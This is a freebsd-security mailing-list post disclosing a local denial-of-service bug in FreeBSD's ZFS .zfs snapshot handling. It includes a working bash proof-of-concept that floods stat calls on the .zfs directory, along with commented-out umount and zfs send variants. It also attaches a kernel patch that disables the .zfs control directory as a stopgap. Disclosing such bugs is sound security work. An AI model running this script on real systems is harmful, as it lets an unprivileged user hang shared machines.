Dear users,

For a long time now I've been investigating problems relating FreeBSD ZFS .zfs handling, and found that I am not enough to fix issues. Until fixes arrive, unfortunately a regular user can DoS a FreeBSD system which has ZFS filesystems with the attached script. While the script expects a snapshot argument to be given, actually the first test case does not need that, only a mounted zfs filesystem is enough. For more of the tests a snapshot may be needed, and later ones need root account also.

I would recommend that until this gets rewritten or fixed at all, one should disable access to .zfs at all with someting like I've attached.

Regards,
Kojedzinszky Richard
#!/bin/bash

snapshot="$1"
if [ -z "$snapshot" ]; then
        echo "FreeBSD/ZFS snapshot handling bug"
        echo ""
        echo "Usage: $0 <zfs snapshot>"
        exit 1
fi

snapshot="$(zfs list -t snapshot -H -o name "$snapshot")"
if [ -z "$snapshot" ]; then
        echo "Snapshot not found"
        exit 2
fi

dataset="${snapshot%@*}"
sn="${snapshot#*@}"
mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print $3}')

if [ ! -d "$mountpoint" ]; then
        echo "Could not determine mount point for $dataset"
        exit 3
fi

echo "** dataset=$dataset snapname=$sn mounted=$mountpoint"

cd "$mountpoint/.zfs"
yes snapshot | xargs stat > /dev/null &
yes snapshot | xargs stat > /dev/null &

#cd "$mountpoint/.zfs/snapshot"
#yes "$sn" | xargs umount > /dev/null &
#yes "$sn" | xargs umount > /dev/null &
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null &
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "." | xargs ls -la > /dev/null &
#yes "." | xargs ls -la > /dev/null &

#yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &
diff --git a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c 
b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
index 8eb8953..27f42bd 100644
--- a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
+++ b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
@@ -1227,8 +1227,10 @@ zfs_domount(vfs_t *vfsp, char *osname)
        VERIFY(VFS_ROOT(vfsp, LK_EXCLUSIVE, &vp) == 0);
        VOP_UNLOCK(vp, 0);
 
+#if 0
        if (!zfsvfs->z_issnap)
                zfsctl_create(zfsvfs);
+#endif
 out:
        if (error) {
                dmu_objset_disown(zfsvfs->z_os, zfsvfs);
@@ -1960,8 +1962,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
                                return (EBUSY);
                        ASSERT(zfsvfs->z_ctldir->v_count == 1);
                }
+#if 0
                zfsctl_destroy(zfsvfs);
                ASSERT(zfsvfs->z_ctldir == NULL);
+#endif
        }
 
        if (fflag & MS_FORCE) {
@@ -1980,10 +1984,12 @@ zfs_umount(vfs_t *vfsp, int fflag)
         */
        ret = vflush(vfsp, 1, (fflag & MS_FORCE) ? FORCECLOSE : 0, td);
        if (ret != 0) {
+#if 0
                if (!zfsvfs->z_issnap) {
                        zfsctl_create(zfsvfs);
                        ASSERT(zfsvfs->z_ctldir != NULL);
                }
+#endif
                return (ret);
        }
 
@@ -2034,8 +2040,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
        /*
         * We can now safely destroy the '.zfs' directory node.
         */
+#if 0
        if (zfsvfs->z_ctldir != NULL)
                zfsctl_destroy(zfsvfs);
+#endif
        if (zfsvfs->z_issnap) {
                vnode_t *svp = vfsp->mnt_vnodecovered;
 
_______________________________________________
freebsd-security@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-security
To unsubscribe, send any mail to "freebsd-security-unsubscr...@freebsd.org"

Reply via email to